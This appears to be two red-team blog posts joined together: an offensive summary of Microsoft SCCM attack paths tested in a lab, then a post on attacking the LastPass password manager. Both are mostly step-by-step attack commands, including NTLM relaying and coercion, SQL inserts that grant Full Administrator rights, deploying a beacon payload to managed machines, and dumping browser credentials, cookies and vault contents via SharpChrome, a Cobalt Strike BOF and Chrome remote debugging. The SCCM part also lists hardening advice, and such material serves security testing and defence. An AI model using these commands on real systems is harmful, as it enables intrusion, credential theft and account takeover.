Offensive SCCM Summary

This article aims to summarise the currently available tooling (August 2023), as well as the attack vectors which are present. My previous article covers the basics of SCCM and how to configure an SCCM lab from scratch.

In summary, I believe the SCCM attack surface is currently not especially well understood or covered by most red teams, outside of the tooling produced by a number of fantastic researchers (below). More organisations need to better understand this area, as I have noticed a number of parallels between SCCM now and ADCS in 2021. Undoubtedly SCCM will remain an area of interest for researchers, red teamers and attackers for some time to come!

This post is based almost entirely on work done by Chris Thompson (@_Mayyhem) and Garrett Foster (@garrfoster), I am simply joining the dots between several of their projects and tools – as well as work from several other researchers!

Tooling & Who To Follow

There is a lot of publicly released tooling to interact with SCCM:

In addition to these tools, there are a few great Twitter profiles to follow to remain up to date with the latest SCCM developments.

Lab Setup

For this, we will borrow the SCCM SnapLabs template from an0n_r0. On top of this, I will configure:

  • 2 Hosts
    • Win10 host (An ‘infected’ host), which will host our attacker tooling:
      • PXEThief
      • PowerSCCM
      • SharpSCCM
      • SCCMWTF
      • sccmhunter
    • Kali (In reality, this would be behind our C2 infra, but I want the lab to be nice and simple!). I will install:
      • Imapcket
      • Responder
  • 2 Users
    • SCCMLAB\da
      • Domain Administrator account, mostly to make my life easier when debugging
    • SCCMLAB\joe.bloggs
      • Our friendly infected user
      • Local admin rights on the Win10 device
  • A Task Sequence
    • Create a boot image, then a task sequence and set some dummy variables within it
  • Discovery Methods
    • Enabled AD Group Discovery on the Domain Computers group

The devices in the lab are as follows:

DeviceIP AddressName
Domain Controller10.10.0.100dc.sccmlab.local
SCCM Site Server10.10.0.101sccm.sccmlab.local
SCCM SQL Database10.10.0.102sccmsql.sccmlab.local
Kali (Attacker)
Windows 10 Client10.10.0.241win10.sccmlab.local

We will use the joe.bloggs user extensively, who has a password set to a.

General Recommendations

There a LOT of recommendations for how to secure SCCM. Below is a list of recommendations which are collated from Gabriel Prud’homme‘s talk and SharpSCCM’s wiki.

  • Active Directory
    • General
      • Ensure that any accounts used by SCCM for deployment strictly follow least-privilege principles. This includes NAA, Client Push, Task Sequences and Collection Variables.
      • Check that Tier 0 assets are not being managed by SCCM
      • Ensure that any SCCM administrator accounts are being treated at the same level as the assets which they manage. I.e. An SCCM site managing all client devices should be be treated as a Tier 0 account.
      • Check for password re-use or weak passwords used by any of the accounts used by NAA, Client Push, Task Sequences and Collection Variables
      • Set ms-DS-MachineAccountQuota to 0
    • Network Access Accounts (NAA)
      • Dont use NAA’s if possible, use Enhanced HTTP instead – as recommended by Microsoft
      • Rotate passwords on NAA accounts if they are no longer used, as the credentials can still be cached.
      • If NAA has to be used, ensure the account has no special permission. It only needs to allow for domain connectivity
    • Client Push Accounts
      • Don’t use Client Push if possible, use ‘Software update-based installation’ instead
      • If Client Push has to be used:
        • Specify a Client Push account, to prevent the site computer account from performing Client Push installations.
        • Disable automatic site-wide Client Push installation.
  • PXE Hardening
  • Patching
    • Install the 2 KB’s KB15498768 and KB15599094
      • These prevent a number of the attacks (Such as Site Takeover via Client Push)
    • Enable SMB signing domain-wide (Prevent NTLM relay to SMB)
    • Require LDAP signing or channel binding on domain controllers (Prevent NTLM relay to LDAP)
    • Require Extended Protection on AD CS servers (Prevent relay to HTTP)
  • MSSQL Hardening
  • Site Servers
    • Ensure all unnecessary connections to site servers are blocked by firewalls to reduce likelihood of relaying attacks

SCCM Attack Paths

Before we delve into all of the attack paths, here is a summary of the potential attack paths we can exploit:

Chris Thompson & Diego Lomellini go into more depth on the various site takeover attacks in their SharpSCCM 2.0 talk, which includes the following slide at 4:55:

Throughout this I will use the Kali machine to refer to an attacker controlled machine, typically being used to listen for incoming NTLM authentication responses.

Network Access

To start with, we will assume that we just have network access and haven’t yet managed to compromise a user. Thankfully SCCM supports unattended deployments through technologies such as PXE. Unfortunately I was unable to get this working in my lab, so have been unable to replicate these attacks:

Recon – Find SCCM Infrastructure

As covered by Gabriel in his talk at BHIS, we can scan for specific open ports which might indicate that SCCM is running on the system.

SCCM ItemPortLink
Site Servers/Management Points8530,8531,10123 (All TCP)Link
Distribution Point49152-49159 (TCP)Link
PXE OSD4011 (UDP)Link

For example:

nmap -sT -p 8530,8531,10123 --open

Credential Access – Obtain PXE Media File

If PXE is used for for OS deployment, then we can use PXEThief to enumerate through the resources used. If the PXE process doesn’t require a password, then we can use 1 to automatically obtain the relevant images, and parse them for credentials. If it does use a password then we can use option 3 or 5 to try and decrypt the file, or crack the password to the file using Hashcat.

Credential Access – Obtain NAA Creds

Assuming we have access to the network, the network uses PXE for OS deployment and we know the password to start PXE deployment, then we can attempt to join a new machine to the network.

From Christopher Panayi’s talk at DefCon 30, we can press F8 repeatedly to get a SYSTEM shell, where we can then run a VBS script to dump out the environment variables, which can include the _SMSTSReserved1 and _SMSTSReserved2 variables, which are the creds for the NAA account.

Credential Access – Read unattend.xml

Again, assuming we have access to the network, and the network uses PXE deployment, we can attempt to join a new machine to the network.

From Christopher Panayi’s talk, if we wait until the OS installation has begun, we can look in the C:\Windows\panther\unattend\unattend.xml file to see if it contains credentials for domain-joining the new OS.

Standard User

If we assume we have just landed in an environment, there are a number of potential avenues of attack for us. As you can see below, we can now potentially perform some site takeover attacks – which could allow us to gain full permission over an SCCM site.

Recon – Identify Site Information

Using MalSCCM.exe locate, we can identify the site code and the server which is the management point for our current device. We can do the same with PowerSccm using the Find-LocalSccmInfo cmdlet, or directly query the local WMI interface via PowerShell with Get-WmiObject -Class SMS_Authority -Namespace root\CCM

MalSCCM.exe locate

Or we can do this by searching for ‘Configuration Manager’ in the control panel.

We can use SCCMHunter with the find command to query LDAP for details on any AD objects.

python find -d sccmlab.local -dc-ip -u joe.bloggs -p a

Finally, we can hunt in information repositories for some terms which are linked to SCCM:

  • ccm_system
  • ccm_system_windowsauth
  • sccm
  • mecm
  • AdminService/v1.0

Enumeration – Logs

We can also look through the SCCM logs within C:\Windows\CCM using SharpSCCM with the following command

SharpSCCM.exe local triage

Enumeration – Previously Executed Scripts

From a Primary Site, we can run PowerShell scripts on remote devices. These scripts are stored on the client within the %windir%\CCM\ScriptStore folder, but require admin access to read them.

Luckily for us, these scripts can be PowerShell scripts, which will be logged within the PowerShell logs of any client which it is run on. If PowerShell logging is enabled. We can retrieve the contents of the script by searching through the event logs, using the command below we can look for a password:

Get-WinEvent -ProviderName Microsoft-Windows-PowerShell | Where-Object { $_.Message -like "*password = *" } | Format-List -Property Message

Recon – Enumerate SiteStore Scripts

Scripts run by the ‘Run Script’ command will be logged if certain (common) criteria are met. These scripts are stored on the remote devices within C:\Windows\CCM\ScriptStore. If we have admin access to the device, then we dont need to rely on PowerShell logging to be enabled, as we can read them from the device itself.

The scripts are protected so that only the SYSTEM user is able to read them. We can spawn a SYSTEM shell using PSExec -s -i cmd.exe and read the contents of the file.

Enumeration – SCCMContentLib

Thanks to 1njected’s CMLoot repo, we can investigate files stored within the hidden SCCMContentLib$ share on Distribution Points. As mentioned in their blog post for WithSecure, the file structure for this share is frustrating to parse through, and it can be quite difficult to correctly secure files in this share.

. \CMLoot.ps1
Invoke-CMLootInventory -SCCMHost sccm.sccmlab.local -OutFile "C:\Excluded\cmloot_out.txt"

Enumeration – PXEBoot Shares

Using SCCMHunter with the smb option, we can take the results of its find command, and probe each result for SMB shares titled REMINST, which indicate the usage of PXEBoot. PXEBoot can then be exploited with PXEThief to obtain boot images for any devices which are connected to the network – these images can contain domain credentials.

python smb -d sccmlab.local -dc-ip -u joe.bloggs -p a

We can then navigate to \\sccm.sccmlab.local in the File Explorer. Notice the REMINST folder in the top right below.

The REMINST/SMSTemp folder can contain *.var files, which can be decrypted to reveal sensitive values. To decrypt any identified files, we can use PXEThief in mode 3, else we can use mode 5 to get the hash of the file. We can decrypt this using Christopher Panyai’s custom hashcat module using mode 19850. After cracking we can then run PXEThief again using mode 3, to decrypt the file. Gabriel’s talk at BHIS includes a demo on how to perform this.

Credential Access – NAA

ms-DS-MachineAccountQuota > 0

The easiest way of obtaining NAA credentials relies on the domain having a ms-DS-MachineAccountQuota value greater than 0, or some way of obtaining machine account passwords. To perform this attack, we will use sccmhunter with the http module, which will create a computer object via the MachineAccountQuota misconfiguration, when using the -auto option. It will then attempt to obtain NAA creds, writing them to the loot folder if successful.

python http -d sccmlab.local -dc-ip -u joe.bloggs -p a -auto

We can read out the loot/sccm_naapolicy.xml file, which is just XML data, which then contains a blob of encoded data to secure the NAA, within the NetworkAccessUsername and NetworkAccessPassword fields.

We then need to decrypt these credentials, which we can do with the policysecretunobfuscate.c file from XPN’s sccmwtf project.

Under the hood, sccmhunter http is using the sccmwtf project (to spoof machine enrolment) along with (To get computer account credentials). XPN’s blog post on the subject is well worth a read though, as it delves into the crypto behind this process.

ms-DS-MachineAccountQuota = 0

(Updated 5/12/23) Ralph Desmangles added functionality to sccmhunter, which will pull the NAA credentials from DPAPI, avoiding the need to perform NTLM relaying. We need to provide domain credentials and the server we want to target. In this case, we have local admin rights on our device so we will set the target to, which is the IP address for our win10 machine. dpapi -u joe.bloggs -p a -target

This is mentioned in the SpecterOps post about NAA’s, which refers to the location within WMI. We can confirm this without using sccmhunter and instead using a admin PowerShell session with the following command:

Get-WmiObject -namespace “root\ccm\policy\Machine\ActualConfig” -class “CCM_NetworkAccessAccount”

If we want to avoid using DPAPI for some reason, then thanks to Gabriel Prudhomme’s (@vendetce) talk, we can perform this via coercing authentication (e.g. via PetitPotam).

We can use a modified version of Impacket by Tw1sm to relay NTLM auth and obtain NAA credentials. When copying this, make sure to grab the feature/sccm-relay branch – the master branch doesn’t include the updated version of ntlmrelayx. Also make sure you are using virtual environments in Python here, as this version of Impacket is quite far behind the latest release, so it is liable to not work as expected!

git clone -b feature/sccm-relay impacket-tw1sm

Lets stand up ntlmrelayx.

python3 -t http://sccm.sccmlab.local/ccm_system_windowsauth/request --sccm --sccm-device test12345 --sccm-fqdn sccm.sccmlab.local --sccm-sleep 10 -smb2support

Where --sccm-device is a random value which will represent the device name we will create (So should be random) and --sccm-sleep is a time given to allow things to process. The IP chosen for PetitPotam doesn’t matter, it just needs to be a machine in the domain. This will create fake devices in SCCM, so will require cleaning up after exploitation!

We can now coerce authentication, where is the IP address hosting ntlmrelayx and server1.sccmlab.local is the target to coerce authentication from.

python3 server1.sccmlab.local -u joe.bloggs -p a -d sccmlab.local

And ntlmrelayx responds by obtaining NAA credentials!

This is the same file as described earlier, so we wont cover decryption here! More details on this attack are in XPN’s blog post on the subject.

I suspect this could also be abused by leveraging pre2k computer accounts, removing the need to perform relaying.

Credential Access – Client Push Account

We can trigger a client push and capture the hashes with Responder.

Note that we get both the machine account and the Client Push account. Password cracking can be attempted using mode 5600 in hashcat.

Another option covered by Christian’s talk at BHIS involves us ‘removing’ our device from SCCM, which will cause it to automatically try to re-enrol it back into SCCM. This does require us to escalate to SYSTEM permissions, and is quite noisy given we are renaming machines, disabling firewalls and so on. It also requires automatic client push and Allow connection fallback to NTLM to be enabled.

As detailed in his talk, this means that one of two accounts will then authenticate onto our machine:

  1. The SCCM Client Push account
  2. The machine account for the SCCM Site Server

From here, we can then obtain a NTLMv2 hash for one of those accounts. Given the complexity of this, we are likely better using the invoke client-push attack from SharpSCCM if we meet the criteria, as it only requires a low-priv user account.

Lateral Movement – Client Push Account

The premise of this attack is that we can abuse the Client Push account by coercing it to authenticate with our machine. We can then relay this authentication onto other devices to move laterally. The crux of this is that the Client Push account needs to have local admin on all clients to work – so we just need meet the criteria above (SMB signing disabled & not patched). This is from Gabriel’s talk at BHIS, which refers to a talk by Brandon Colley at BSides KC.

This does have a few pre-reqs.

  1. Requires SMB Signing to be disabled on our target – we can find this out with sccm.
  2. KB15599094 and KB15498768 to not be installed. If they are installed, then we might be able to do the SCCM Server Machine Account method below

Below is a diagram summarising the attack, ultimately step 4 can be whatever ‘action’ we want to take that leverages NTLM relaying. For example, this could be relaying to ADCS via ESC8.

We will start ntlmrelayx, targeting a server I know already exists ( I will use the -socks flag so that we can leverage this captured NTLM authentication with a tool of our choice (by using proxychains).

python3 -t -smb2support -socks

And then we can invoke the Client Push account to authenticate to our domain-joined machine with SharpSCCM , using its invoke client-push command. is the IP address for our ntlmrelayx server.

SharpSCCM.exe invoke client-push -t -mp sccm.sccmlab.local -sc S01

After a little wait, ntlmrelayx captures the incoming authentication.

We can run the socks command in ntlmrelayx to show the status of the captured sessions.

In this case, I will use to obtain a shell as a demo. Make sure your account (SCCMLAB/SCCMCLIENTPUSH) matches up with the account you captured in ntlmrelayx. Also check proxychains is set to, as that is what impacket uses by default.

proxychains python3 SCCMLAB/SCCMCLIENTPUSH@ -no-pass

Lateral Movement – Site Takeover


As described by Chris Thompson of SpecterOps, the computer account for the Primary Site server is required to be a local admin on the SQL server and Management Point computers. Chris describes this in far better detail than I will be able to, but in effect this means that we can coerce NTLM authentication from the Primary Site’s computer account and relay it onto the SQL Server which supports the SCCM site. From this point, you could then grant yourself the Full Administrator SCCM role using SQL commands – giving yourself full access to any system managed by the Site. Gabriel covers this at 1:22:54.

This does require Extended Protection to be disabled in MSSQL. If this is enabled, then we can always relay via SMB onto a Management Point or MSSQL servers, if SMB Signing is disabled. This process is semi-automated with sccmhunter using the mssql module.

In order to be able to execute SQL queries against the site’s SQL server, we will coerce authentication from the site server’s machine account and relay it to the mssql service on the SQL server. This attack works due to a requirement for the site server’s machine account to have local admin rights over the SQL server during the setup of SCCM. See the first image in Chris’s blog as proof.

In the diagram below, the ‘site takeover’ section is only steps 1-4, steps 5-9 detail the exploitation steps if a package is deployed via SharpSCCM (as shown later on).

To start, lets check if we have permission to run a command on server1.sccmlab.local. As expected, we don’t have permission.

Lets stand up ntlmrelayx to capture incoming NTLM authentication requests. We will use SOCKS mode to keep the connection open, which will allow us to use proxychains to run SQL queries against the DB (

python -smb2support -ip -t mssql:// -socks

When this is stood up, we can trigger a Client Push from our infected user account. Don’t forget to set the target (-t) to the IP address of our machine running ntlmrelayx!

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t

ntlmrelayx catches the incoming authentication, notice that SCCM$ manages to authenticate against the mssql service on the penultimate line.

Whilst keeping ntlmrelayx open, lets open another terminal and proxy our SQL queries through to the SQL server. Note that the account name is wrapped in quotes due to it containing a $ sign. We are also using -windows-auth. When we connect we can enter whatever we want for the password.

proxychains python3 "SCCMLAB/SCCM$"@ -windows-auth

We will now run mssql to determine the SQL command to run. In this, we will set joe.bloggs to have SCCM admin rights on site S01 with the arguments -tu joe.bloggs -sc S01

python mssql -d sccmlab.local -dc-ip -u joe.bloggs -p a -tu joe.bloggs -sc S01

Resulting in a few SQL statements being generated:

use CM_S01

INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x0105000000000005150000003B0AC320F4F69FBD8B3F26E644060000,'SCCMLAB\joe.bloggs',0,0,'','','','','S01');

SELECT AdminID,LogonName FROM RBAC_Admins;

Lets run the first set of commands, which will add joe.bloggs into the RBAC_Admins group. We can then prove we have set joe.bloggs to AdminID = 16777218 by running a SELECT query on the RBAC_Admins table

Lets add this into our sccmhunter command to get the final queries, to grant permissions onto the joe.bloggs account.

INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00ALL','29');

INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00001','1');

INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00004','1');

And we can confirm we have added our permissions in:

We can also confirm this by going to Administration -> Security -> Administrative Users within MCM.

Lets run our command again to execute calc.exe on server1.sccmlab.local, this time we have success!

Via AdminService API

Hot off the press!! Garrett Foster recently released a blog post detailing how we can leverage the AdminService API interface to also take over an SCCM site. AdminService API is used to perform SCCM administrative tasks, and is used by the admin and pivot modules in sccmhunter – which Garrett wrote.

Using their PR to impacket, we will run ntlmrelayx. We can obtain our user’s SID using SharpSCCM.exe local user-sid. -t https://sccm.sccmlab.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "SCCMLAB\joe.bloggs" --displayname "SCCMLAB\joe.bloggs" --objectsid  S-1-5-21-549653051-3181377268-3861266315-1604

We will again coerce authentication via Client Push, but we could use PetitPotam or another technique of your choosing.

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t

Unfortunately, this attack wouldn’t work for me as my SMS Provider is on the same server as the site server itself, they need to be separate for this attack to work, as shown by my Site’s information below:

This can also be done via pass-the-hash, for example if we can perform ADCS abuse against a user with privilege over the WMI interface. This will be merged into sccmhunter at some point in the future, but can currently be performed with smsadmin

Lateral Movement – NTLM Relay To Other SCCM Clients

If the Client Push account has not been defined in an SCCM environment, the machine account of the SCCM server will be used to push the SCCM client onto endpoints. Therefore, the SCCM site computer account will have local admin rights across the estate. This means that if:

  • We can coerce authentication from the push account (i.e. PetitPotam)
  • SMB Signing is disabled (i.e. we can relay)

Then we can relay this authentication onto any SCCM client and gain admin access to it. This should be possible even after the two patches (KB15599094 and KB15498768) are installed. Gabriel has a great demo of this in his talk at 1:19:07. Below we use an example of SMBExec, but this could be any tool which can be used with a relayed NTLM authentication & proxychains.

If we now trigger a client push with SharpSCCM, we only get an authentication request from the SCCM$ account, not the sccmclientpush account.

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t

Due to us having configured a Client Push account before, this attack wont work, due to the SCCM$ account not having local admin rights onto the SCCM managed devices. In another network which has never used a dedicated Client Push account, we would expect to see the computer account as a local admin below.

SQL DB Admin To Primary Site DB

Obtain SCCM User Creds

If we have admin access to the SQL DB which supports the Primary Site, we can read out the encrypted credentials to SCCM users, by reading the SC_UserAccount table. Thanks (Again) to XPN, we can use his PoC ‘sccmdecryptpoc.cs to decrypt the contents of the files, with his Twitter thread covering the process in more detail.

This requires admin access to the server containing the “Microsoft Systems Management Server” CSP for it to work. In practise I believe this means we need to perform the decryption on an SCCM site server – though this doesn’t stop us from obtaining the encrypted value!

Again, we will assume we can coerce authentication and relay it onto the SQL server, though this attack can equally be performed if we have access to the SQL database itself. Lets do our standard setup for ntlmrelayx.

python -smb2support -ip -t mssql:// -socks

And then coerce authentication using Client Push

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t

We can then run SQL commands on the SQL server using proxychains, like we did for the Site Takeover attacks.

proxychains python3 "SCCMLAB/SCCM$"@ -windows-auth
SELECT UserName,Password FROM SC_UserAccount

We can then use XPNs SCCMDecryptPoc tool to decrypt this.

Alternatively, we can use Mimikatz to do this so long as we have a valid connectionstring to the DB. This can be done using the misc::sccm /connectionstring:XYZ command. This will come with the associated fun involved with using Mimikatz.

Dumping Task Sequences

We can dump Task Sequences to look for creds and other interesting stuff. Several tables (vSMS_TaskSequencePackage, vSMS_TaskSequencePackageEx and TS_TaskSequence) contain the Sequence column which contains the XML for the Task Sequence. We can find the details on the accounts with the following SQL query:

SELECT TS_ID, Name, Sequence FROM vSMS_TaskSequencePackage

Unfortunately, SCCM doesnt just give us the plaintext XML, with the rows showing the characteristic 0x38393133303030 value. We can decrypt this using DeObfuscateSecretString by Mayyhem, after we convert this from hexidecimal.

Whilst we are likely to have a faster route to domain compromise via a ‘Full Administrator’ SCCM user, Task Sequences might contain other credentials of interest, which arent AD-based. For example, credentials to cloud accounts.

Coerce NTLM Authentication

Thanks to a tweet by Mayyhem, we can use the sp_CP_GenerateCCRByName stored procedure to coerce the site client installation account to authenticate to the ADMIN$ share on a machine of our choosing. We can also specify an IP address rather than relying on SCCM-managed hosts.


DECLARE @return_value int 

EXEC    @return_value = [dbo].[sp_CP_GenerateCCRByName] 
        @MachineNameList = N'', 
        @SiteCode = N'S01', 
        @bForced = false, 
        @bForceReinstall = false

SELECT 'Return Value' = @return_value


Primary Site Admin

With ‘Full Administrator’ access to a Primary Site, we can perform a number of powerful attacks against clients managed by the site. This is by design, as a primary site is a Tier 0 asset.

The most basic attack would be to create a group of users we want to target, then deploy an implant to all of their machines using the SCCM GUI. That is quite lame, so we will instead use commands we can execute from within a command line.

At this point, we will assume we have performed a site takeover attack (via AdminService API or SQL).

Recon – Perform Recon Queries

Using sccmhunter we can run recon commands using the AdminService API to gather data and avoid more noisy methods. For example, the admin and pivot methods allow for collection of various forms of recon data.

I encountered a unsupported hash type md4 error whilst running sccmhunter. As always the solution is found on StackOverflow – we need to update the requests-ntlm library with the following command:

python3 -m pip install -U requests-ntlm

To start with, lets run the admin module, with the following command:

python admin -ip -u "SCCMLAB\joe.bloggs" -p "a" -debug

After collection, we are dropped into a CLI where we can run further queries on the data. We can use the help command to find out the available features.

For example, we can find details on all the applications:

Or all of the collections:

To take this to the next step, we can use the pivot module to run further commands. For now its a PoC within sccmhunter, but no doubt we will see this further developed in the future.

We can use the help command within the interface to see the commands available to us:

For example, targeting server2.sccmlab.local, which has a device ID of 16777220:

Lateral Movement – Deploy an application

There are several ways of doing this, for this example we will use MalSCCM. To perform this attack we will create a group of computer objects and then deploy a payload to them. We can create user groups, but due to MalSCCM having to guess the most likely computer object based on the user, it is safer to set the computers manually. Whilst using the tool from an ‘infected’ client device, I found I had to specify the SCCM server with each command to avoid any errors.

To create our group, we will run:

MalSCCM.exe group /create /groupname:1337TargetGroup /grouptype:device /server:sccm.sccmlab.local

We will then set our target device, I had to use all caps rather than using a FQDN for this to work. It is likely that this needs to match the name as shown in the MCM portal, which appears to be the hostname in uppercase.

MalSCCM.exe group /addhost /groupname:1337TargetGroup /host:SERVER1 /server:sccm.sccmlab.local

As mentioned by Nettitude in their post on MalSCCM, in order to deploy an application, we need to host the application on a share which the computer account is able to access. For this example we will pretend that we have found an open share.

Lets now create our malicious application, with the following command:

MalSCCM.exe app /create /name:OhDearOhDear /uncpath:"\\SCCM\Open Share\beacon.exe" /server:sccm.sccmlab.local

Now lets deploy this application to the group we created earlier.

MalSCCM.exe app /deploy /name:OhDearOhDear /groupname:1337TargetGroup /assignmentname:ItsRainingShellz /server:sccm.sccmlab.local

And finally, we can optionally coerce the targets in the group to check in, speeding up the deployment time.

MalSCCM.exe checkin /groupname:1337TargetGroup /server:sccm.sccmlab.local

After hours of banging my head against a wall I couldnt get this to work, but here is what I should have seen:

We can do this all in one using SharpSCCM exec, using the -i or -n parameters, we can deploy our payload/executable to a collection of users.

Lateral Movement – Arbitrary NTLM Coercion

For this attack, we add all of our targets into a group, then create an application which has its UNC path set to one we can control. This application is then deployed and the targets will attempt to authenticate to our share. From this point we can relay the authentication onto a service of our choice. For this example, I will just capture the authentication using ntlmrelayx to prove that it is a viable attack vector.

The command given in Chris’s original writeup has since changed, with the -mp and -sc arguments now required. Note that the targeted device (-d) has to match the hostname. In our case, we had to use SERVER1 rather than server1.sccmlab.local.

SharpSCCM.exe exec -mp sccm.sccmlab.local -sc S01 -d SERVER1 -r

As usual, we will setup ntlmrelayx to listen in for inbound SMB connections:

python -smb2support -ip -socks

And we get inbound authentication requests after SharpSCCM deploys an application. We could relay this onward to a number of services.


And there we go, a whole range of ways of compromising SCCM! Undoubtedly there will be more attack paths and research being released over the coming months, so it is well worth conducting a review of attack paths into and within your own SCCM estate. Using BloodHound is a great way of doing this.

Attacking Password Managers: LastPass

This is the second post in a series I have done looking at password managers. My first post was on KeePass and covered some techniques which can be used against local password managers.

For this post, LastPass will be used as an example of a cloud-based password manager. In my opinion, these managers often have better UI/UX, so are easier for non-techy people to use.

LastPass has unfortunately had a *pretty rough* history, with several high-profile breaches in 2015, August 2022 and November 2022. Despite this, I would consider it as one of the most popular password managers – so it is worth using for this post!

There are several methods which I will cover here, most of which will apply to any cloud/browser-based password manager:

  1. Dumping Saved Credentials
  2. Dump The LastPass Vault From Memory
  3. Session Theft – Browser Pivoting
  4. Session Theft – Cookies via DPAPI
  5. Remote Debugging – Accessing The LastPass Vault
  6. Remote Debugging – Accessing Cookies Via The Debug WebSocket

I was only able to successfully access the vault through the ‘Remote Debugging – Accessing The LastPass Vault’ section. With the other techniques I was able to get to a position where I believe I had the correct cookies or position, but I was unable to successfully load the vault. I suspect this is due to LastPass performing host or session checking – but it could well also be due to me needing to get better at Pass-The-Cookie attacks!

Dumping Saved Credentials

To dump any saved Chrome passwords, we can use SharpChrome with the logins /password:PASSWORD parameters. This does require us to get the plaintext password of the user, but there are many ways of obtaining this 😉

To dump other Chromium based browsers such as Brave or Edge, we can use the /browser flag. For example, we would use the following command to interact with an Edge browser: SharpChrome.exe logins /password:PASSWORD /browser:edge

One thing to bear in mind with this approach is that LastPass will detect new sign in locations, such as different browsers, IP addresses and so on – so we cannot dump creds for LastPass and login directly to it!

Dump The LastPass Vault From Memory

For LastPass to work as an extension, it loads the vault into memory – but there are some weaknesses in the way in which it does this. Notably a BlackHat talk from 2015 covers this in technical detail if you are interested.

Luckily TrustedSec have automated a lot of this with their lastpass BOF, which is covered in an excellent 15-minute demo on YouTube. The BOF is part of their CS-Remote-OPs-BOF‘ repository

To start with, I will ensure that the LastPass extension is logged in but I will not have open in Chrome

I will then use Cobalt Strike to list the processes and pass the PIDs for Chrome processes into the lastpass BOF.

It will begin to parse memory and dump out any relevant strings, for example the master password:

As well as credentials from within the vault:

I did find that the BOF would only pull credentials from the vault after I had specifically searched for them in the extension, though it did appear as if LastPass have altered the way in which the extension works since the BOF was written, as the parsing was a little off when I used it. Nonetheless, this is a great BOF and serves as a very useful starting point for parsing Chrome’s memory.

Session Theft – Browser Pivoting

If our target has authenticated into LastPass, we can use Cobalt Strike’s Browser Pivot feature to leverage this already-established connection, but the target would have to be using Internet Explorer 😔.

We can use FoxyProxy to route our traffic through the HTTP proxy which CS has established

After adding an exception and relaxing rules on HSTS and the network.stricttransportsecurity.preloadlist option, this did partially load LastPass, but I had issues with it successfully loading the vault.

Session Theft – Cookies via DPAPI

I then turned to dumping values via DPAPI, which was a bit of a struggle. I believe that Chrome has altered the way in which it stores cookies, which prevents some of the ‘older’ tooling from working automagically. To counter this, I went to the Chrome/User Data folder on my test lab and searched for ‘cookie’, revealing the new location!

It turns out that the Cookie DB is within %LOCALAPPDATA%\Google\Chrome\User Data\Default\Network, which isnt where SharpChrome looks – most other blog posts mention to look in the \Default\Cookies folder. We can use this file path in SharpChrome to dump the cookies using the following command:

SharpChrome.exe cookies /target:"C:\Users\vagrant\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /password:PASSWORD

Looking at the documentation, we need to provide this with the /statekey:X parameter. We can obtain these values by running SharpChrome.exe statekeys

We will use the value ***EC73E9 for the /statekey parameter, and will also use the /url parameter to only include cookies for lastpass. This leaves us with the final command:

execute-assembly /home/user/SharpChrome.exe cookies /target:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /password: /statekey:YADDAYADDA_EC73E9 /url:lastpass /format:json

This /format:json allows us to export directly into the Cookie-Editor extension.

Remote Debugging – Accessing The LastPass Vault

At this point I started looking into the remote-debugging-port technique which has been covered a lot recently. I then stumbled upon MDSec’s post which covered the technique below in far greater (and better) detail – go check out their post!

I found that using a redirector and the CS SOCKS proxy was very slow in my lab, even when using an interactive beacon so is probably too intensive for real world usage unless you absolutely need to! Ultimately I used Chisel to directly connect from the target to my team server, in the real-world you would want to ensure this is way more locked down!

To start, I spawned Chrome with chrome.exe --remote-debugging-port=10999. As covered elsewhere, there is a --headless argument which wont create a GUI window, but I had serious issues getting it to work!

Following a lot of errors, I realised we need to Chrome with the victims own user profile. I didn’t have success specifying a user profile directory, but did have success just using --profile-directory="Default". I believe that this profile directory value can change depending on how the target’s environment is configured – so this might change!

Using Chromium I used the flags described within the MDSec blog post to use the Chisel SOCKS proxy inside Chrome:

--proxy-server="socks5://" --proxy-bypass-list="<-loopback>"

This did appear to work on Chromium in Ubuntu 22.04 – but it would not successfully load the LastPass Vault for me. Instead I used a Windows VM with Chrome to more closely mimic the target user’s environment.

To get the remote debugging URL, we need to visit http://localhost:10999/json/list and get the devtoolsFrontendUrl value.

Then we can use the following magic URL from MDSec to spawn a new instance of the LastPass vault extension:


We then visit /json/list to see that it has spawned a new instance

Which we can then visit in our attackers browser which we started earlier.

The demo above will replicate any actions you take onto the targeted users desktop. This is has obvious, significant drawbacks so would require some *heavy* social engineering to work if you pursue this method without using the headless mode or another technique!

Ultimately, I couldn’t get this to work in headless mode through Firefox and Chromium on an Ubuntu machine. I suspect that this is a combination of:

  • LastPass is likely doing some sort of host checking, which fails when using a different host to the target (Windows/Chrome vs Ubuntu/Chromium&Firefox)
  • Using headless mode introduced other errors
  • Lack of ability

Remote Debugging – Accessing Cookies Via The Debug WebSocket

Accessing the vault via a GUI felt like a pretty long winded and noisy way of accessing LastPass. I did some hunting on Google and found a post by SpecterOps on dumping cookies via the debug port which we were using in the previous example.

This post mentions the CookieNapper tool by GreyCatSec, which uses WebSockets exposed by the debug port to simply query for all of the cookies. This has several advantages:

  • No need to use SharpChromium or load extra binaries
  • Invisible to the user
  • Should have less latency as the attack would require less usage of proxies

Using the SOCKS proxy we set up with Chisel, we can use the tool to dump cookies:

From here, we can use the EditThisCookie extension to import the cookies. Again I had issues getting access to the vault, but the cookies did appear to be successfully dumped.


In summary, I learned a lot digging into these 2 password managers – in no particular order:

  • KeePass has a number of pretty significant design flaws, even in the latest version
  • The backdooring of KeePass via the trigger system is pretty neat
  • Scanning memory is a really handy technique for password managers and programs such as these…
  • I need to improve at pass-the-cookie attacks
    • Or just don’t target LastPass I guess ¯\_(ツ)_/¯
  • Password managers are still a very good solution, and are hugely more secure than other solutions (Cough passwords.xlsx)

